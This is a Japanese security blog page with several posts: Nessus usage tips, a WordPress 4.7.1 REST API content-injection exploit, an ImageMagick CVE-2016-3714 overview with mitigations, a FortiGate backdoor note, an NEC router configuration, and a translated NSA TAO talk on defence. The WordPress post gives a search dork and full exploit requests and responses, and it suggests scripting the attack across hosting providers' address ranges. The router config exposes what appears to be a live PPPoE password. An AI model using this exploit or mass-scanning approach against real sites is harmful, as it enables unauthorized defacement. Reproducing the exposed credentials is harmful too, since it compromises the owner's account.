読者です 読者をやめる 読者になる 読者になる

Pyclas on Security

pyclas@xmpp.cm (OTR)

Nessus Vulnerability Scannerを有償版で利用する上での注意点

f:id:pyclas:20170219120252p:plain www.tenable.com

Qiitaとかでもどのような製品なのかについての解説はあっても、製品を利用する上での注意点があまり見当たらなかったので、記載する。
Tenable network securityのNessus Vulnerability Scannerの有償版を使う上での注意点を記載する。
主に診断ベンダーが診断する場合の注意点を記載する、情報システム部が管理ネットワークセグメントへの定期については記載しない。

購入方法とかライセンス体系

  • 代理店経由ではなく、直接、Tenable network securityから購入する場合は、1ライセンス(1年間)につき、$2100(24万円)
    チームに10人居たら、最低でも年間240万以上の予算が必要になる。

  • 有償版は東陽テクニカさんが国内の代理店をやってる。
    詳しくはテクニカさんの営業担当にでも。

  • 脆弱性スキャナというより、検知のためのシグネチャの配信に金払っている感じ、脆弱性スキャナそのものはFree版でも使えるため
    なにこの項目?って調べるとあまり知られてない新しい脆弱性があったことを知るようなパターンも多い。

事故りポイント

  • インストールした端末のMacアドレスは絶対変えるな。
    VMwareMacアドレスを変更すると、Macアドレスアクティベーション時にレスポンスコードのシードとして利用してるので、Nessusのアクティベーションが切れて、オンサイト診断だった場合、当日現場で診断できなくて積む

  • Windows版はネットワークから切り離してインストールせよ
    Windows版だと、インストール時に自動的にNessusのコアエンジンアップデートが走るので、チームでコアエンジンのVersionを統一してると、無限に有償版ライセンスを消費していくことになる。

  • ライセンスのパージは慎重に
    有償版ライセンスをパージして、再アクティベーション後、もう一度パージしようとすると10日間必要と言われ、10日間経つまでNessusを使えないことになる。(不正利用の関係で)
    1ライセンスが結構するので、無駄にライセンスの再パージをロックするのはやめよう。

  • IPアドレスの確認を
    IPアドレスを間違えると、攻撃コードがグローバルに飛んで行く、発射前にIPアドレスの確認を

  • NICはブリッジで診断せよ
    仮想アプライアンス上にNessusをインストールしてる場合は、ネットワーク設定がNATになっていた場合は、自分のパケットをキャプチャして、読むみたいなテクいことをNessusやってて、IPアドレスの変換をしてるNATだと診断漏れが発生する可能性がある。(nmapも)

  • 認証施行の有無でポリシーの変更
    SNMPのデフォルトコミュニティの調査でデフォルトコミニュティ、デフォルトパスワードで利用してる場合はSYN ScannerよりもSNMPの結果を優先する。SNMPのデフォルトコミニュティ名の調査が場合によっては認証施行に該当する場合もあるので、その場合はポリシーの設定から設定する。

ここだけ見ると微妙に聞こえるかもしれないけど、かなり賢いヤツ、マジ賢い、それに信頼性が高い。年間24万出すだけの価値はある。 人間ミスるし、ペネトレーションテスターなんか要らないんじゃね?俺らそのうち職にあぶれるんじゃないかって心配になる。

よく使うコマンド(Linux)

/opt/nessus/sbin/nessuscli fetch --register <serial>
/opt/nessus/sbin/nessuscli update --plugins-only
  • plugin feed numberの確認
cat /opt/nessus/var/pugin_feed_info.inc
  • パスワードの変更
/opt/nessus/sbin/nessuscli chpasswd <username>
  • ユーザーの追加
/opt/nessus/sbin/nessuscli adduser <username>

よく使うコマンド(windows)

C:\Program Files\Tenable\Nessus>nessuscli.exe fetch --challenge
C:\Program Files\Tenable\Nessus>nessuscli.exe --plugins-only
  • plugin feed numberの確認
notepad.exe C:\programdata\tenable\nessus\pugin_feed_info.inc
  • パスワードの変更
C:\Program Files\Tenable\Nessus>nessuscli.exe chpasswd <username>
  • ユーザーの追加
C:\Program Files\Tenable\Nessus>nessuscli.exe adduser <username>

すごーい!あなたはWordpress Rest API Exploitationが得意なフレンズなんだね!

f:id:pyclas:20170213015016j:plain

流行ってるのでやってみた。 ExploitDBで拾ってきたPythonぶん回すのでもできるけど、netcatでやりたかったのでNetcatでやった。

本気でやるならシェルスクリプトとかで適当にnetcatをラップしてGMOVPSとかさくらインターネットが持ってるアドレス帯に片っ端から確認方法に記載されたリクエストを投げればいい。

検証バージョン

Aapache Version

MySQL Version

  • Server version 5.7.17-0ubuntu0.16.04.1

PHP

Wordpress

  • $wp_version = ‘4.7.1’;

Dork

inurl:index.php/wp-json/wp/v2

確認方法

root@kali:~# netcat -nvv 192.168.12.63 80
(UNKNOWN) [192.168.12.63] 80 (http) open
GET /wordpress/index.php/wp-json/wp/v2/posts HTTP/1.1
Accept-Encoding: identity
Host: 192.168.12.63
Connection: close
User-Agent: Python-urllib/2.7

HTTP/1.1 200 OK
Date: Sun, 12 Feb 2017 14:44:43 GMT
Server: Apache/2.4.18 (Ubuntu)
X-Robots-Tag: noindex
Link: <http://192.168.12.63/wordpress/index.php/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages
Access-Control-Allow-Headers: Authorization, Content-Type
X-WP-Total: 3
X-WP-TotalPages: 1
Allow: GET
Content-Length: 5138
Connection: close
Content-Type: application/json; charset=UTF-8

[{"id":7,"date":"2017-02-12T23:10:34","date_gmt":"2017-02-12T14:10:34","guid":{"rendered":"http:\/\/192.168.12.63\/wordpress\/?p=7"},"modified":"2017-02-12T23:10:34","modified_gmt":"2017-02-12T14:10:34","slug":"1","type":"post","link":"http:\/\/192.168.12.63\/wordpress\/index.php\/2017\/02\/12\/1\/","title":{"rendered":"test"},"content":{"rendered":"<p>test<\/p>\n","protected":false},"excerpt":{"rendered":"<p>test<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/7"}],"collection":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=7"}],"version-history":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/7\/revisions"}],"wp:attachment":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=7"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=7"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=7"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}},{"id":4,"date":"2017-02-10T16:25:11","date_gmt":"2017-02-10T07:25:11","guid":{"rendered":"http:\/\/192.168.12.63\/wordpress\/?p=4"},"modified":"2017-02-10T16:25:11","modified_gmt":"2017-02-10T07:25:11","slug":"aaaa","type":"post","link":"http:\/\/192.168.12.63\/wordpress\/index.php\/2017\/02\/10\/aaaa\/","title":{"rendered":"aaaa"},"content":{"rendered":"<p>aaaa<\/p>\n","protected":false},"excerpt":{"rendered":"<p>aaaa<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/4"}],"collection":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=4"}],"version-history":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/4\/revisions"}],"wp:attachment":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=4"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=4"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=4"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}},{"id":1,"date":"2017-02-10T16:22:49","date_gmt":"2017-02-10T07:22:49","guid":{"rendered":"http:\/\/192.168.12.63\/wordpress\/?p=1"},"modified":"2017-02-12T23:45:59","modified_gmt":"2017-02-12T14:45:59","slug":"hello-world","type":"post","link":"http:\/\/192.168.12.63\/wordpress\/index.php\/2017\/02\/10\/hello-world\/","title":{"rendered":"Hello world!"},"content":{"rendered":"<p>test<\/p>\n","protected":false},"excerpt":{"rendered":"<p>test<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/1"}],"collection":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=1"}],"version-history":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/1\/revisions"}],"wp:attachment":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=1"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=1"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=1"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}] sent 149, rcvd 5621
root@kali:~# 

攻撃

POST /wordpress/index.php/wp-json/wp/v2/posts/1/?id=1abc HTTP/1.1
Accept-Encoding: identity
Content-Length: 33
Host: 192.168.12.63
Content-Type: application/json
Connection: close
User-Agent: Python-urllib/2.7

{"content": "hacked by pyclas\n"}HTTP/1.1 200 OK
Date: Sun, 12 Feb 2017 14:16:45 GMT
Server: Apache/2.4.18 (Ubuntu)
X-Robots-Tag: noindex
Link: <http://192.168.12.63/wordpress/index.php/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages
Access-Control-Allow-Headers: Authorization, Content-Type
Allow: POST, PUT, PATCH, DELETE
Content-Length: 1890
Connection: close
Content-Type: application/json; charset=UTF-8

{"id":1,"date":"2017-02-10T16:22:49","date_gmt":"2017-02-10T07:22:49","guid":{"rendered":"http:\/\/192.168.12.63\/wordpress\/?p=1","raw":"http:\/\/192.168.12.63\/wordpress\/?p=1"},"modified":"2017-02-12T23:16:45","modified_gmt":"2017-02-12T14:16:45","password":"","slug":"hello-world","status":"publish","type":"post","link":"http:\/\/192.168.12.63\/wordpress\/index.php\/2017\/02\/10\/hello-world\/","title":{"raw":"Hello world!","rendered":"Hello world!"},"content":{"raw":"hacked by pyclas\n","rendered":"<p>hacked by pyclas<\/p>\n","protected":false},"excerpt":{"raw":"","rendered":"<p>hacked by pyclas<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/1"}],"collection":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=1"}],"version-history":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/1\/revisions"}],"wp:attachment":[{"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=1"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=1"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/192.168.12.63\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=1"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}

結果

f:id:pyclas:20170213014046p:plain

ImageMagick(CVE-2016–3714)OSコマンドインジェクションの攻撃方法と対策

f:id:pyclas:20160616120453j:plain

概要

ImageMagick Studio LLC の ImageMagick には、脆弱性 (CVE-2016-3714) があります。脆弱性を悪用するコンテンツを ImageMagick で開いた場合に、 任意の OS コマンドが実行される恐れがあります。

ImageMagick の脆弱性 (CVE-2016-3714) に関する注意喚起

d.hatena.ne.jp

"|"文字開始するファイル名の処理に問題があり、ファイル名が"|"で開始されると任意のCommandが実行される。popenの方の脆弱性も同じく。

攻撃方法

www.youtube.com

以下がPoC

PoCをJPGで保存してimegemagickでconvertを実行する。検証環境を用意してないのでローカル内だけになるけど実際に攻撃するシチュエーションとしてはredmineとかwordpressでファイルアップロードする機能があるサーバーに対してアップロードしてシェルを得る。

f:id:pyclas:20160616113322p:plain

Metasploitのモジュールとしてもすでに公開されてる。 github.com

対策

Image magickのポリシーファイルを使用を使用する。→ /etc/ImageMagick/policy.xml
* 対象ファイルが画像ファイルであるかMagic Byteから確認を行う。
* ImageMagickの設定ファイル「policy.xml」に次の設定を加える。

<policymap>
<policy domain=”coder” rights=”none” pattern=”EPHEMERAL” />
<policy domain=”coder” rights=”none” pattern=”URL” />
<policy domain=”coder” rights=”none” pattern=”HTTPS” />
<policy domain=”coder” rights=”none” pattern=”MVG” />
<policy domain=”coder” rights=”none” pattern=”MSL” />
</policymap>

policy.xmlが使えない古いImageMagickでImageTragickを回避する - Qiita

確認

自分のホスティングWordpressを運用してる場合は対策が必要  

FortiGateOS(ver4~5.0.7)のSSH Backdoor

ファイアウォールベンダーFortinetの製品にバックドアにつながるコードがあることが、セキュリティ研究者により明らかにされた。SSHプロトコルを利用してサーバにログインするためのチャレンジ/レスポンス認証メカニズムに含まれているという。

以下がPoC

f:id:pyclas:20160424065706p:plain

windows環境下でpipのparamikoでSFTP/SCP操作行う場合、termiosモジュールないから正しく動かないのでkali linuxとかで操作することをおすすめする。

apt-get install gcc python-devel

gcc python-develがないと動かない

IX2015 設定例

NEC製業務用VPNルーター ix2015でのconfig設定例を貼り付けておく。

面白いなと思ったのは1階と2階でPPPoE設定を使いまわしてるのだけど、プロバイダー側のradiusなんかで弾かれないこと。1つのPPP認証情報に対して、WAN側アドレスが2つ割り振られている状態になっている。

1階 (Buffalo BHR-300HR) BIGLOBE PPP profile A : 0.0.0.0 2階(NEC IX2015 ) BIGLOBE PPP profile A : 0.0.0.0

f:id:pyclas:20160417211909j:plain

ルーター周りはAPCUPSにぶら下げてる。 f:id:pyclas:20160417212024j:plain

f:id:pyclas:20160417213154j:plain tera term側で操作ログの有効化をしておくと良い。

! NEC Portable Internetwork Core Operating System Software
! IX Series IX2010 (magellan-sec) Software, Version 7.3.21, RELEASE SOFTWARE
! Compiled Nov 17-Thu-2005 11:45:52 JST #2
! Current time Apr 10-Sun-2016 15:29:33 JST
!
!コンフィグ表示時はパスワードをハッシュ化
service password-encryption
!
!ホストネームとタイムゾーンの設定
hostname router11
timezone +09 00
!
!ルーターのユーザー認証
username XXXX password hash 840402B2SS14BEC54D1C54 administrator
username XXXX password hash 84040AASDSDSA2B21X4EXC541C54 administrator
!
!NTPサーバーの設定
ntp ip enable
ntp server 133.243.238.242
ntp server 210.173.160.27
ntp retry 3
ntp interval 3600
!
!インターフェイスとDHCPの設定
ip route default FastEthernet0/0.1
ip dhcp enable
ip access-list admin_console permit ip src any dest 192.168.49.0/24
!
!proxy-dnsの有効化
proxy-dns ip enable
!
!Telnetの有効化
telnet-server ip enable
!
!PPPoE接続設定プロファイル
ppp profile flets
  authentication myname XXXXXXX@biglobe.ne.jp
  authentication secret-password 1 XXXXXXX@biglobe.ne.jp 5oqCDt106N!oOpgO8JeeEvvv
!
ip dhcp profile lan11
  assignable-range 192.168.12.65 192.168.12.99
  default-gateway 192.168.12.1
  dns-server 8.8.8.8 8.8.4.4
!IF設定
device FastEthernet0/0
!
device FastEthernet0/1
!
device FastEthernet1/0
!
device BRI1/0
  isdn switch-type hsd128k
!
interface FastEthernet0/0.0
  no ip address
  no shutdown
!
interface FastEthernet0/1.0
  ip address 192.168.49.9/24
  no shutdown
!
interface FastEthernet1/0.0
  ip address 192.168.12.1/24
  ip dhcp binding lan11
  no shutdown
!
interface BRI1/0.0
  encapsulation ppp
  no auto-connect
  no ip address
  shutdown
!
interface FastEthernet0/0.1
  encapsulation pppoe
  auto-connect
  ppp binding flets
  ip address ipcp
  ip mtu 1492
  ip napt enable
  no shutdown
!
interface Loopback0.0
  no ip address
!
interface Null0.0
  no ip address

'''

これでPPPで自宅からフレッツのようなALには常時接続できる環境は整えられると思う。

アメリカ国家安全保障局 (NSA) の Tailored Access Operations (TAO)のUSENIX Enigma 2016での講演を訳した

f:id:pyclas:20160313150456j:plain

要点については

TAOによるハッキングへの道 - セキュリティは楽しいかね? Part 2

でほぼ述べられている。インテリジェンスコミニュティーという好奇心を唆る世界をより詳しく知りたいという人向けに全訳を載っけようと思う。(やる気の問題で途中まで)

 


www.youtube.com


 ありがとう、感謝します。デヴィッドが紹介したように私はTAOからきました。確かに変な感じですよね、そんな役職なのに大勢の人々を前にステージに立っているなんて。普段からあることじゃあないです。でも私は広範囲の対外情報作戦を行うTAOでもちょっと独特の役職にあるんですよ。つまり政策決定者にアドバイスしたり情報提供をして、この国の兵士たちを四六時中守ってるわけです。ある意味じゃ国家レベルの攻撃です。だから今日、この場所で私が話すのは、国家レベルの攻撃者として、どうやって皆さんが自分の身を守って私に仕事をさせづらくするかということです。国家レベルで攻撃を行っている人が、攻撃の対象となる人たちに、国に雇われたハッカーを困らせるようなことを話す人はそうそういないですね。

 

 というわけで、皆さんに考えてほしいのは、もしみなさんが本当に守りたいものがあったら、何をしなきゃいけないかってことです。これから私はいろいろ細かいことも話すしますが、全部に共通して皆さんに持って帰ってほしいテーマは「もし本当に自分のネットワークを守りたいと思うなら、自分のネットワークを完璧に知らなきゃいけない」ってことです。デバイス、セキュリティー、テクノロジー、それらに使われているものを知らなきゃいけない。どうやって私たちがうまくハッキングをやっているか?ネットワークを熟知しているのです。そのネットワークをデザインした人よりも、守っている人よりもそのネットワークを知るためにしっかりと時間を割きます。それが絶対条件。大事なんでこれからも何度か出てきますよ。

 

 さて、侵入に関していうと、侵入にも段階があります。だから侵入を妨害するにはそれぞれの段階を切り離して進めなくしてしまえばいい。じゃあどんな段階があるかっていうと最初の侵入は偵察です。誰かが行ってターゲットを理解しようとする。最初はスキャニングみたいなシンプルなとこから始まります。出かけていって物理的に実際のターゲットをスキャンする。誰が重要な人物か?、メールアドレスは?なんてなことを理解します。ターゲットに関する情報を見つけるわけです。ほんとに何を学べるか、何を理解できるか、ってことです。さっきも言ったように、成功への鍵はそのネットワークをつくった人より深く知ることにあります。そういうわけで偵察段階はとても重要です。もういっちょこれに関するキーポイントはあなたがそのネットワークで使おうとしているテクノロジーを知ることです。私たちはそのネットワークで実際に使われているテクノロジーを知ってます。微妙に違うのわかりました?あなたたちは使おうとしている。私たちは実際に使われている。そういう風に考えると、ネットワーク内のデバイスのセキュリティー機能が学べます。それを勉強して、理解して、弱点を見つけるわけです。実際のところ私たちの同僚には実際にデバイスを作成した人よりも詳しくそのデバイスのセキュリティー機能を知ることができる連中がいます。全体的な製品そのものとか、デバイス作成者がやろうとした全部のことを知れるわけじゃないけど、セキュリティーテクノロジーに関しては理解できるし、その知識をめっちゃ深く掘り下げることもできます。セキュリティーの細かい点に詳細な注意を向けるわけです。それもネットワークを理解して、そのスペースを知り尽くして。細かいとこを見るのに集中力とエネルギーを費やす。何か守るものがある皆さんは、ネットワーク、デバイスを理解するのにエネルギーを注入し、被害を防ぐのに適した方法を構築、使用しますよね。

 

 こんな具合の攻撃に対抗するために根本的なアドバイスがあります。何を使うか、何をインストールするかを査定する際の手順を用意しておかなきゃいけません。それに、自分が使っていないものはロックダウンしたり使えなくしたりしなさい。攻撃サーフェスを減らすわけです。別に新しいとかめっちゃすばらしいアドヴァイスってわけじゃないです。でも実際にネットワークにのってることと、皆さんがあるべきだとかんがえていることを比べて見ると皆さん驚きますよ。じゃあどうすればその露出しちゃってるサーフェスを理解できるか?そのネットワークをredteamし、Pentestetをぶちこむ のです。敵がするように攻撃するのです。そのスペースになにがあるのか、何が攻撃されうるのか見つけるために。きっちり働いてるネットワークがあると私たちの仕事は本当に厄介になります。だからネットワークのなかに何があるか理解しに問題点に行きあたったら、pentestをして、結果がでたら、対処しなさい!NSAで情報を守る側にいる私たちは政府のネットワークに対してredteamテストを行うわけです。そうすれば避けようがなくネットワークの中で設計しそこなったもの、セットアップされるべきでないもの、セキュリティホールが見つかります。そしたらレポートをつくってネットワークの持ち主にどこを直さなきゃいけないか伝えるわけです。何度もサイクルをやってって同じネットワークにredteamをやりなおすとこまでやります。オリジナルのレポートにあったセキュリティーホールが二回目にもみつかることはほとんどありません。いつでも最初のオリジナルのレポートに戻ります。以前のレポートで指摘されたことはなおされたか?言語道断で許しがたいことですが、2年ほどして戻ってくると同じセキュリティホールや弱点がみつかります。企業部門でみたこともありますよ。私たちのターゲットでみたことがあるわけです。どっかのスペースに弱点があるって言われたら、そこをとじてロックダウンしましょう。 


 そういう発見をしたりスペースにredteamをしたりしてリソースを調査したら、次に進みましょう。次のキーポイントは、セキュリティ・ホールがちっちゃすぎて気づかれないとか攻撃されないとか絶対に考えないことです。全体を通してpentestをやったらこんな具合に考えるかも。「この97個に関しては完璧。でもこっちの3つはちょっと微妙。まあそんな問題ないでしょ。とりあえずほっとこっか。」それこそが私たちには必要なんです。足がかりがね。最初の割れ目、最初の縫い目、そこをじっくりしっかりきっちり見て、微妙な問題の極端なとこを探し、こじあけてねじ込むのです。だからそういった結果に注目してください。これは一時的なセキュリティーの弱点に関して話すときも同じです。あなたがネットワークを持っていて、trust zoneやネットワーク境界内に問題があり、ベンダーと話しているがどうもうまくいかないとしましょう。そしたらベンダーがこんなことを言う。「ちょっとあけてみてくれませんか。ちょっと入ってみて攻撃してみましょう。いくらかログをとって、それからなおしてあげますよ。週末中にはやっちゃうから大丈夫です。」あなたはそのドアを24時間とか36時間とか開きっぱなしにしておきますか?国家側のハッカーとして言わせてもらいましょう。APT攻撃と呼ばれるには理由があるのです。つまり私たちはつっついてつっついて待って待ってさらに待つんです。私たちは開く機会を、そして任務を完了させる機会を探しているんです。

 

 この偵察段階におけるもう一つ大きな部分は、ネットワーク境界についてわかることです。さっきは皆さんがネットワーク上にもっておこうとしていることについて知ってるって話をしましたね。私たちは実際に皆さんのネットワークにあるものを探すのです。最近ではネットワーク境界がより無定形で浸透的、あるいはその他のことをふくむようになり、これはより難しくなっています。自分のデバイスを持ち歩く風潮とか、IoT、リモートでのお仕事とか。そんなこんなでInterconnect Network要素が変化し続け、管理統制のもとにおかれる状況が現実のものとなったのです。物理的な所在地の統制下で自分のドメインに接続された最低限のネットワークで最低限の機材が使われてるなんて状況もあります。考えてみてください、いまやあなたが信用がおける領域にあなたのドメインの構成要素となっているものがある。クラウド・コンピューティングとは他の誰かのコンピューターにはずいぶん素敵な名前です。あなたが自分のデータをクラウドに持っているとしましょう。あなたはセキュリティープロトコル、物理的なセキュリティー、その他外部的エンティティーを信用しているってことでしょうか。うまくいってるかもしれないし、いってないかもしれない。ひょっとしたらあなたはそのクラウドに何があるか常に追っかけて理解しているかもしれない。でもそのクラウドにあるものはいまやあなたのリスク、責任でもあるわけです。

 

 事態をめんどうにしている風潮はどんどん育ってますし、ネットワーク境界は拡大していってます。信用境界は今はパートナーの個人的なデバイスまで拡大してます。誰だってiPhoneAndroidタブレットを持ちたいし、デバイスをどんどん代えてます。みんなネットワーク上のこれらを信用してるわけです。ヒーターやクーラーのシステムすらあるでしょ。他の要素もインフラやその他たくさんを構築しています。じゃああなたたちは実際にあなたたちが絶対に守らなければいけないものにまつわる信用境界を支えるためになにをしているのでしょうか。私にとってこの質問とはつまりこういうことです。守らなければならない自分の王国への鍵を自分は本当に知っているのだろうか。ツールキット、防衛、王冠の宝石。(権限のこと?)に気をつける。その注意と厳密さこそが私たちに仕事をさせにくくするのです。

 

 さて、偵察をした後にくる段階とは、初期攻撃です。そのネットワーク内に突入する道を見つけなければなりません。試してみて機会をえられるかどうか。標的型攻撃をしてみるのもいいでしょう。水飲み場攻撃も。誰もが行くきちんと防衛されていないサイトはないでしょうか。すでに知られていて、弱点もわかっている脆弱性を攻撃する。さらにすでになされた行動に対する攻撃のレシピもあります。SQL injection、zerodayに対する攻撃、私が思うに、多くの人は国家というものがzerodayというエンジンに則って働いていると考えているようです。マスターキーをもって出かけて、鍵をはずして、中に入る。実際はそんなことありません。巨大な企業ネットワークを見てみましょう。巨大なのならどんなのでもいいです。はっきり言いますが、根気よく集中してやっていれば必ず入り込むことができます。zerodayがなくても攻撃を達成することができるのです。一つの道を突き進むよりも、より簡単で、よりリスクが少なく、そして多くの場合より生産的なベクトルがはるかに多く存在しているのです。根気のいるベクトルを回避するためには、継続して防衛作業にあたらなければなりません。なぜならもしも世界が継続して進みながら既存の製品やサービスのセキュリティホールについて新しい情報を発信しているのなら、あなたも継続してそのスペースの内部でアップデートしたり防衛したりしなきゃならないのです。

 

 さて、ほとんどの侵入は三つの初期ベクトルのうちのひとつから始まります。まずはE-mail。ユーザーがメールを開いてクリックすべきじゃないとこをクリックしちゃった。それからウェブサイト。敵対的なサイトに入っちゃってそのまま進み、実行されるかあるいはユーザーがウェブサイトのコンテンツをつかっちゃった。あるいはリムーバブルメディア。ユーザーが感染したメディアを挿入し、エアギャップ・ネットワーク間をブリッジングしちゃった。おおまかにいって以上の三つが重要な三つです。このスペースの中でどこへ向かうべきか。ユーザーが自動的に正しい選択をするなんてことに頼らないためにもネットワーク自体に行くべきです。時には専門家すら間違っています。じゃあどうすれば事故や凡ミスを防ぐために技術的な強化をなすようなポリシーを作り上げられるのでしょう。どれだけ迷惑メールをクリックしないよう訓練をしたって人間はクリックしちゃうんです。国家のAPTレベルになったって時にはメールがすごくうまく作られててクリックしてもそんなにおかしくなく思えてしまうこともあります。それじゃあどうやって起爆を防ぐのか。皆さんのアーキテクチャーやポリシーは発生しうるユーザー行動に対し防衛しうるか。脅威ベクトルをとめることができるか。もしできるのなら私の仕事はいっそう難しくなります。私が絶対お勧めするのは、脆弱性を緩和するマイクロソフトEMETです。誰もがそれをつけてるでしょ?劇的にそのスペースで起こりうるベクトルの数を減らすことができます。私ならNSAの情報保証局(NSAの発行してるセキュリティのガイド?)を見てみますね。そこにはhost mitigation packageがありますから。ホストのレベルでロックダウンしたりmitigationしたりするのにはいい実践になります。EMETは一つの推奨でしかありません。他にもロックダウンをうまいことやってくれるものはたくさんあります。それがガイドです。アメリカ合衆国政府の機密を守る上でこれ以上の秘密のソースはありません。ガイドを見てみてください。実にしっかりしています。
もう一個やらなきゃいけないことは、ソフトウェアの向上を利用しなければならないということです。CVEと脆弱性についてはもうすでに言いました。もし攻撃されうる既知のバグがソフトウェアにあるのなら、それを直してネットワークから取り除かなければなりません。ユーザーのコントロール外でアップグレードや自動パッチングをしてくれているソフトウェア業界に感謝ですね。これぞ実にすばらしいセキュリティー実施です。新しく閉じられた脆弱性があれば、それは新たにあなたのエコシステムの一部になるのです。これはすばらしいことです。このことによって既知の脆弱性と攻撃とが結びつく機会を減らすことになるわけです。そしてこのことが一年や二年に一度あれば、いよいよ攻撃は難しくなります。


 さらに私がお勧めするのは安全ホスト基準(secure host baseline)を使うことです。ちょうどhost mitigationプランと同じ具合に、IED製品ですね。安全ホスト基準は外郭をロックダウンするのに現在では最上の方法です。これもNSAの情報保証局NSAの発行してるセキュリティのガイド?)のウェブサイトを見てみてください。はっきりいえますが、我々の組織は人々をとても、とても上手く教えて鍛えます。我々は知識を制度化するのです。そして人々が次のレベルに達せられるように教え、彼らが働いたり攻撃をしたりできるようにします。我々が教えていることが最良のことです。ずっと受け渡していき、この最上の方法を使います。私は攻撃にだって最上の方法を使うのです。あなたがたは防衛のために最上の方法を使いますか?結局のとこはそこなんですよ。もしあなたが誰かが狙うようなものを持っているなら、それを守る必要がある。頂点捕食者があなたの情報を奪うために何をしているのか注視する必要がある。彼らは攻撃のために最善の方法を使ってきますよ。あなたたちは防衛のために最善の方法を使わないと。
